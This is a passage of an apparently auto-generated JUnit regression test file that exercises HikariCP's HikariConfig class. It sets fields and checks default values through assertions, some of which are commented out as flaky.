int int26 = hikariConfig21.transactionIsolation;
java.lang.String str27 = hikariConfig21.getConnectionInitSql();
int int28 = hikariConfig21.getMaximumPoolSize();
hikariConfig21.setJdbc4ConnectionTest(false);
java.util.Properties properties32 = null;
com.zaxxer.hikari.HikariConfig hikariConfig33 = new com.zaxxer.hikari.HikariConfig(properties32);
int int34 = hikariConfig33.getTransactionIsolation();
hikariConfig33.setRegisterMbeans(false);
java.lang.String str37 = hikariConfig33.transactionIsolationName;
long long38 = hikariConfig33.getIdleTimeout();
java.lang.String str39 = hikariConfig33.getCatalog();
java.util.Properties properties40 = hikariConfig33.getDataSourceProperties();
hikariConfig33.setUseInstrumentation(false);
hikariConfig21.addDataSourceProperty("HikariPool-222", (java.lang.Object) hikariConfig33);
hikariConfig21.poolName = "HikariPool-104";
java.util.Properties properties46 = null;
com.zaxxer.hikari.HikariConfig hikariConfig47 = new com.zaxxer.hikari.HikariConfig(properties46);
hikariConfig47.leakDetectionThreshold = 100;
boolean boolean50 = hikariConfig47.isJdbc4ConnectionTest();
java.util.Properties properties51 = null;
com.zaxxer.hikari.HikariConfig hikariConfig52 = new com.zaxxer.hikari.HikariConfig(properties51);
int int53 = hikariConfig52.getTransactionIsolation();
hikariConfig52.setRegisterMbeans(false);
java.lang.String str56 = hikariConfig52.transactionIsolationName;
long long57 = hikariConfig52.getIdleTimeout();
java.lang.String str58 = hikariConfig52.getCatalog();
java.lang.String str59 = hikariConfig52.getConnectionTestQuery();
java.util.Properties properties60 = null;
com.zaxxer.hikari.HikariConfig hikariConfig61 = new com.zaxxer.hikari.HikariConfig(properties60);
hikariConfig61.dataSourceClassName = "";
java.util.Properties properties64 = hikariConfig61.dataSourceProperties;
hikariConfig52.setDataSourceProperties(properties64);
hikariConfig47.dataSourceProperties = properties64;
java.util.Properties properties67 = hikariConfig47.dataSourceProperties;
hikariConfig21.dataSourceProperties = properties67;
java.lang.String str69 = hikariConfig21.getConnectionCustomizerClassName();
boolean boolean70 = hikariConfig21.isInitializationFailFast();
long long71 = hikariConfig21.maxLifetime;
hikariConfig1.addDataSourceProperty("HikariPool-8743", (java.lang.Object) hikariConfig21);
java.lang.String str73 = hikariConfig1.transactionIsolationName;
java.lang.String str74 = hikariConfig1.transactionIsolationName;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 3 + "'", int10 == 3);
org.junit.Assert.assertNull(dataSource15);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 60 + "'", int16 == 60);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + true + "'", boolean17 == true);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 10L + "'", long18 == 10L);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + (-1) + "'", int22 == (-1));
org.junit.Assert.assertNull(str25);
org.junit.Assert.assertTrue("'" + int26 + "' != '" + (-1) + "'", int26 == (-1));
org.junit.Assert.assertNull(str27);
org.junit.Assert.assertTrue("'" + int28 + "' != '" + 60 + "'", int28 == 60);
org.junit.Assert.assertTrue("'" + int34 + "' != '" + (-1) + "'", int34 == (-1));
org.junit.Assert.assertNull(str37);
// flaky: org.junit.Assert.assertTrue("'" + long38 + "' != '" + 60L + "'", long38 == 60L);
org.junit.Assert.assertNull(str39);
org.junit.Assert.assertNotNull(properties40);
org.junit.Assert.assertTrue("'" + boolean50 + "' != '" + true + "'", boolean50 == true);
org.junit.Assert.assertTrue("'" + int53 + "' != '" + (-1) + "'", int53 == (-1));
org.junit.Assert.assertNull(str56);
// flaky: org.junit.Assert.assertTrue("'" + long57 + "' != '" + 60L + "'", long57 == 60L);
org.junit.Assert.assertNull(str58);
org.junit.Assert.assertNull(str59);
org.junit.Assert.assertNotNull(properties64);
org.junit.Assert.assertNotNull(properties67);
org.junit.Assert.assertNull(str69);
org.junit.Assert.assertTrue("'" + boolean70 + "' != '" + false + "'", boolean70 == false);
// flaky: org.junit.Assert.assertTrue("'" + long71 + "' != '" + 35L + "'", long71 == 35L);
org.junit.Assert.assertNull(str73);
org.junit.Assert.assertNull(str74);
}
@Test
public void test19168() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19168");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
java.lang.String str9 = hikariConfig1.transactionIsolationName;
hikariConfig1.setMaximumPoolSize((int) (short) 0);
hikariConfig1.dataSourceClassName = "HikariPool-204";
javax.sql.DataSource dataSource14 = hikariConfig1.getDataSource();
hikariConfig1.setAcquireRetries(10);
hikariConfig1.setAcquireRetries(10);
boolean boolean19 = hikariConfig1.isJdbc4connectionTest;
long long20 = hikariConfig1.leakDetectionThreshold;
hikariConfig1.setPoolName("HikariPool-543");
int int23 = hikariConfig1.maxPoolSize;
long long24 = hikariConfig1.getLeakDetectionThreshold();
boolean boolean25 = hikariConfig1.isRegisterMbeans;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(dataSource14);
org.junit.Assert.assertTrue("'" + boolean19 + "' != '" + false + "'", boolean19 == false);
org.junit.Assert.assertTrue("'" + long20 + "' != '" + 0L + "'", long20 == 0L);
org.junit.Assert.assertTrue("'" + int23 + "' != '" + 0 + "'", int23 == 0);
org.junit.Assert.assertTrue("'" + long24 + "' != '" + 0L + "'", long24 == 0L);
org.junit.Assert.assertTrue("'" + boolean25 + "' != '" + false + "'", boolean25 == false);
}
@Test
public void test19169() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19169");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setMaxLifetime((long) (short) 0);
hikariConfig1.setAcquireRetries(100);
long long14 = hikariConfig1.getIdleTimeout();
java.lang.String str15 = hikariConfig1.dataSourceClassName;
long long16 = hikariConfig1.getMaxLifetime();
long long17 = hikariConfig1.getLeakDetectionThreshold();
int int18 = hikariConfig1.getMaximumPoolSize();
boolean boolean19 = hikariConfig1.isJdbc4ConnectionTest();
hikariConfig1.connectionCustomizerClassName = "HikariPool-514";
java.lang.String str22 = hikariConfig1.connectionCustomizerClassName;
javax.sql.DataSource dataSource23 = hikariConfig1.dataSource;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 60L + "'", long14 == 60L);
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertTrue("'" + long16 + "' != '" + 0L + "'", long16 == 0L);
org.junit.Assert.assertTrue("'" + long17 + "' != '" + 0L + "'", long17 == 0L);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + 60 + "'", int18 == 60);
org.junit.Assert.assertTrue("'" + boolean19 + "' != '" + false + "'", boolean19 == false);
org.junit.Assert.assertEquals("'" + str22 + "' != '" + "HikariPool-514" + "'", str22, "HikariPool-514");
org.junit.Assert.assertNull(dataSource23);
}
@Test
public void test19170() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19170");
// The following exception was thrown during execution in test generation
try {
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig("HikariPool-673");
org.junit.Assert.fail("Expected exception of type java.lang.IllegalArgumentException; message: Property file HikariPool-673 was not found.");
} catch (java.lang.IllegalArgumentException e) {
// Expected exception.
}
}
@Test
public void test19171() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19171");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
boolean boolean10 = hikariConfig1.isInitializationFailFast;
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.setIdleTimeout(1L);
hikariConfig1.connectionInitSql = "";
java.util.Properties properties17 = hikariConfig1.getDataSourceProperties();
java.lang.String str18 = hikariConfig1.getDataSourceClassName();
java.lang.String str19 = hikariConfig1.getConnectionCustomizerClassName();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
org.junit.Assert.assertNotNull(properties17);
org.junit.Assert.assertNull(str18);
org.junit.Assert.assertNull(str19);
}
@Test
public void test19172() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19172");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
boolean boolean10 = hikariConfig1.isInitializationFailFast;
hikariConfig1.minPoolSize = 100;
java.lang.String str13 = hikariConfig1.connectionTestQuery;
java.lang.String str14 = hikariConfig1.connectionTestQuery;
hikariConfig1.setIdleTimeout((long) (-1));
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertNull(str14);
}
@Test
public void test19173() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19173");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
hikariConfig1.setRegisterMbeans(false);
java.lang.String str8 = hikariConfig1.getDataSourceClassName();
boolean boolean9 = hikariConfig1.isJdbc4ConnectionTest();
long long10 = hikariConfig1.idleTimeout;
hikariConfig1.acquireRetries = (short) -1;
hikariConfig1.acquireRetries = (byte) 100;
boolean boolean15 = hikariConfig1.isAutoCommit;
java.lang.String str16 = hikariConfig1.catalog;
int int17 = hikariConfig1.getMinimumPoolSize();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + true + "'", boolean9 == true);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 60L + "'", long10 == 60L);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + true + "'", boolean15 == true);
org.junit.Assert.assertNull(str16);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + 10 + "'", int17 == 10);
}
@Test
public void test19174() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19174");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
java.lang.String str8 = hikariConfig1.transactionIsolationName;
hikariConfig1.setConnectionTimeout(5000L);
hikariConfig1.setCatalog("");
hikariConfig1.setAutoCommit(true);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer15 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer15;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNull(str8);
}
@Test
public void test19175() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19175");
// The following exception was thrown during execution in test generation
try {
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig("HikariPool-34794");
org.junit.Assert.fail("Expected exception of type java.lang.IllegalArgumentException; message: Property file HikariPool-34794 was not found.");
} catch (java.lang.IllegalArgumentException e) {
// Expected exception.
}
}
@Test
public void test19176() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19176");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.transactionIsolationName = "";
int int7 = hikariConfig1.getMinimumPoolSize();
hikariConfig1.setAcquireRetries((int) (byte) 1);
java.lang.String str10 = hikariConfig1.getConnectionInitSql();
javax.sql.DataSource dataSource11 = hikariConfig1.getDataSource();
hikariConfig1.leakDetectionThreshold = (short) -1;
java.lang.Class<?> wildcardClass14 = hikariConfig1.getClass();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 10 + "'", int7 == 10);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertNull(dataSource11);
org.junit.Assert.assertNotNull(wildcardClass14);
}
@Test
public void test19177() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19177");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
java.lang.String str9 = hikariConfig1.transactionIsolationName;
hikariConfig1.setMaximumPoolSize((int) (short) 0);
java.lang.String str12 = hikariConfig1.getCatalog();
long long13 = hikariConfig1.leakDetectionThreshold;
hikariConfig1.setUseInstrumentation(false);
boolean boolean16 = hikariConfig1.isInitializationFailFast();
javax.sql.DataSource dataSource17 = hikariConfig1.dataSource;
int int18 = hikariConfig1.getAcquireRetries();
java.lang.String str19 = hikariConfig1.connectionCustomizerClassName;
java.util.Properties properties20 = hikariConfig1.dataSourceProperties;
hikariConfig1.setTransactionIsolation("HikariPool-28411");
java.lang.String str23 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.leakDetectionThreshold = (byte) 10;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertTrue("'" + long13 + "' != '" + 0L + "'", long13 == 0L);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + false + "'", boolean16 == false);
org.junit.Assert.assertNull(dataSource17);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + 3 + "'", int18 == 3);
org.junit.Assert.assertNull(str19);
org.junit.Assert.assertNotNull(properties20);
org.junit.Assert.assertNull(str23);
}
@Test
public void test19178() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19178");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.validate();
hikariConfig1.maxLifetime = '4';
boolean boolean10 = hikariConfig1.isInitializationFailFast();
java.lang.String str11 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.setCatalog("");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
org.junit.Assert.assertNull(str11);
}
@Test
public void test19179() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19179");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.isRegisterMbeans = true;
boolean boolean9 = hikariConfig1.isJdbc4ConnectionTest();
java.lang.String str10 = hikariConfig1.dataSourceClassName;
java.lang.String str11 = hikariConfig1.getConnectionCustomizerClassName();
long long12 = hikariConfig1.maxLifetime;
hikariConfig1.minPoolSize = '#';
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + true + "'", boolean9 == true);
org.junit.Assert.assertEquals("'" + str10 + "' != '" + "" + "'", str10, "");
org.junit.Assert.assertNull(str11);
// flaky: org.junit.Assert.assertTrue("'" + long12 + "' != '" + 35L + "'", long12 == 35L);
}
@Test
public void test19180() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19180");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.isAutoCommit = true;
long long10 = hikariConfig1.getIdleTimeout();
hikariConfig1.setMaximumPoolSize((int) 'a');
hikariConfig1.setMinimumPoolSize(0);
java.util.Properties properties16 = null;
com.zaxxer.hikari.HikariConfig hikariConfig17 = new com.zaxxer.hikari.HikariConfig(properties16);
boolean boolean18 = hikariConfig17.isAutoCommit;
hikariConfig17.connectionTestQuery = "";
java.lang.String str21 = hikariConfig17.connectionCustomizerClassName;
int int22 = hikariConfig17.getAcquireIncrement();
java.lang.String str23 = hikariConfig17.getPoolName();
hikariConfig17.dataSourceClassName = "HikariPool-247";
java.util.Properties properties26 = hikariConfig17.dataSourceProperties;
hikariConfig1.addDataSourceProperty("HikariPool-1099", (java.lang.Object) properties26);
com.zaxxer.hikari.HikariConfig hikariConfig28 = new com.zaxxer.hikari.HikariConfig(properties26);
hikariConfig28.dataSourceClassName = "";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 60L + "'", long10 == 60L);
org.junit.Assert.assertTrue("'" + boolean18 + "' != '" + true + "'", boolean18 == true);
org.junit.Assert.assertNull(str21);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + 0 + "'", int22 == 0);
// flaky: org.junit.Assert.assertEquals("'" + str23 + "' != '" + "HikariPool-50854" + "'", str23, "HikariPool-50854");
org.junit.Assert.assertNotNull(properties26);
}
@Test
public void test19181() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19181");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
java.lang.String str9 = hikariConfig1.transactionIsolationName;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer10 = hikariConfig1.connectionCustomizer;
java.lang.String str11 = hikariConfig1.connectionCustomizerClassName;
int int12 = hikariConfig1.getAcquireIncrement();
hikariConfig1.setRegisterMbeans(true);
java.lang.String str15 = hikariConfig1.poolName;
int int16 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.poolName = "HikariPool-11841";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(iConnectionCustomizer10);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + 0 + "'", int12 == 0);
// flaky: org.junit.Assert.assertEquals("'" + str15 + "' != '" + "HikariPool-50856" + "'", str15, "HikariPool-50856");
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 60 + "'", int16 == 60);
}
@Test
public void test19182() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19182");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setMaxLifetime((long) (short) 0);
hikariConfig1.setAcquireRetries(100);
long long14 = hikariConfig1.getIdleTimeout();
boolean boolean15 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setPoolName("HikariPool-222");
int int18 = hikariConfig1.getTransactionIsolation();
java.util.Properties properties19 = null;
com.zaxxer.hikari.HikariConfig hikariConfig20 = new com.zaxxer.hikari.HikariConfig(properties19);
int int21 = hikariConfig20.getTransactionIsolation();
hikariConfig20.setRegisterMbeans(false);
java.lang.String str24 = hikariConfig20.transactionIsolationName;
long long25 = hikariConfig20.getIdleTimeout();
java.lang.String str26 = hikariConfig20.getCatalog();
java.util.Properties properties27 = hikariConfig20.getDataSourceProperties();
hikariConfig20.setIdleTimeout((long) (short) 10);
hikariConfig20.maxLifetime = (-1);
java.util.Properties properties32 = null;
com.zaxxer.hikari.HikariConfig hikariConfig33 = new com.zaxxer.hikari.HikariConfig(properties32);
int int34 = hikariConfig33.getTransactionIsolation();
hikariConfig33.setRegisterMbeans(false);
java.lang.String str37 = hikariConfig33.transactionIsolationName;
int int38 = hikariConfig33.transactionIsolation;
java.lang.String str39 = hikariConfig33.getConnectionInitSql();
int int40 = hikariConfig33.getMaximumPoolSize();
hikariConfig33.setJdbc4ConnectionTest(false);
java.util.Properties properties44 = null;
com.zaxxer.hikari.HikariConfig hikariConfig45 = new com.zaxxer.hikari.HikariConfig(properties44);
int int46 = hikariConfig45.getTransactionIsolation();
hikariConfig45.setRegisterMbeans(false);
java.lang.String str49 = hikariConfig45.transactionIsolationName;
long long50 = hikariConfig45.getIdleTimeout();
java.lang.String str51 = hikariConfig45.getCatalog();
java.util.Properties properties52 = hikariConfig45.getDataSourceProperties();
hikariConfig45.setUseInstrumentation(false);
hikariConfig33.addDataSourceProperty("HikariPool-222", (java.lang.Object) hikariConfig45);
hikariConfig33.poolName = "HikariPool-104";
java.util.Properties properties58 = null;
com.zaxxer.hikari.HikariConfig hikariConfig59 = new com.zaxxer.hikari.HikariConfig(properties58);
hikariConfig59.leakDetectionThreshold = 100;
boolean boolean62 = hikariConfig59.isJdbc4ConnectionTest();
java.util.Properties properties63 = null;
com.zaxxer.hikari.HikariConfig hikariConfig64 = new com.zaxxer.hikari.HikariConfig(properties63);
int int65 = hikariConfig64.getTransactionIsolation();
hikariConfig64.setRegisterMbeans(false);
java.lang.String str68 = hikariConfig64.transactionIsolationName;
long long69 = hikariConfig64.getIdleTimeout();
java.lang.String str70 = hikariConfig64.getCatalog();
java.lang.String str71 = hikariConfig64.getConnectionTestQuery();
java.util.Properties properties72 = null;
com.zaxxer.hikari.HikariConfig hikariConfig73 = new com.zaxxer.hikari.HikariConfig(properties72);
hikariConfig73.dataSourceClassName = "";
java.util.Properties properties76 = hikariConfig73.dataSourceProperties;
hikariConfig64.setDataSourceProperties(properties76);
hikariConfig59.dataSourceProperties = properties76;
java.util.Properties properties79 = hikariConfig59.dataSourceProperties;
hikariConfig33.dataSourceProperties = properties79;
hikariConfig20.dataSourceProperties = properties79;
com.zaxxer.hikari.HikariConfig hikariConfig82 = new com.zaxxer.hikari.HikariConfig(properties79);
hikariConfig1.setDataSourceProperties(properties79);
hikariConfig1.setMaxLifetime((long) 10);
hikariConfig1.connectionCustomizerClassName = "HikariPool-517";
long long88 = hikariConfig1.getIdleTimeout();
javax.sql.DataSource dataSource89 = hikariConfig1.getDataSource();
hikariConfig1.dataSourceClassName = "HikariPool-2782";
hikariConfig1.connectionTimeout = (short) 1;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 60L + "'", long14 == 60L);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + false + "'", boolean15 == false);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertNull(str24);
// flaky: org.junit.Assert.assertTrue("'" + long25 + "' != '" + 60L + "'", long25 == 60L);
org.junit.Assert.assertNull(str26);
org.junit.Assert.assertNotNull(properties27);
org.junit.Assert.assertTrue("'" + int34 + "' != '" + (-1) + "'", int34 == (-1));
org.junit.Assert.assertNull(str37);
org.junit.Assert.assertTrue("'" + int38 + "' != '" + (-1) + "'", int38 == (-1));
org.junit.Assert.assertNull(str39);
org.junit.Assert.assertTrue("'" + int40 + "' != '" + 60 + "'", int40 == 60);
org.junit.Assert.assertTrue("'" + int46 + "' != '" + (-1) + "'", int46 == (-1));
org.junit.Assert.assertNull(str49);
// flaky: org.junit.Assert.assertTrue("'" + long50 + "' != '" + 60L + "'", long50 == 60L);
org.junit.Assert.assertNull(str51);
org.junit.Assert.assertNotNull(properties52);
org.junit.Assert.assertTrue("'" + boolean62 + "' != '" + true + "'", boolean62 == true);
org.junit.Assert.assertTrue("'" + int65 + "' != '" + (-1) + "'", int65 == (-1));
org.junit.Assert.assertNull(str68);
// flaky: org.junit.Assert.assertTrue("'" + long69 + "' != '" + 60L + "'", long69 == 60L);
org.junit.Assert.assertNull(str70);
org.junit.Assert.assertNull(str71);
org.junit.Assert.assertNotNull(properties76);
org.junit.Assert.assertNotNull(properties79);
// flaky: org.junit.Assert.assertTrue("'" + long88 + "' != '" + 60L + "'", long88 == 60L);
org.junit.Assert.assertNull(dataSource89);
}
@Test
public void test19183() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19183");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
hikariConfig1.transactionIsolation = (byte) 1;
hikariConfig1.isAutoCommit = false;
boolean boolean13 = hikariConfig1.isRegisterMbeans;
boolean boolean14 = hikariConfig1.isRegisterMbeans();
hikariConfig1.leakDetectionThreshold = 97;
hikariConfig1.setTransactionIsolation("HikariPool-530");
long long19 = hikariConfig1.idleTimeout;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
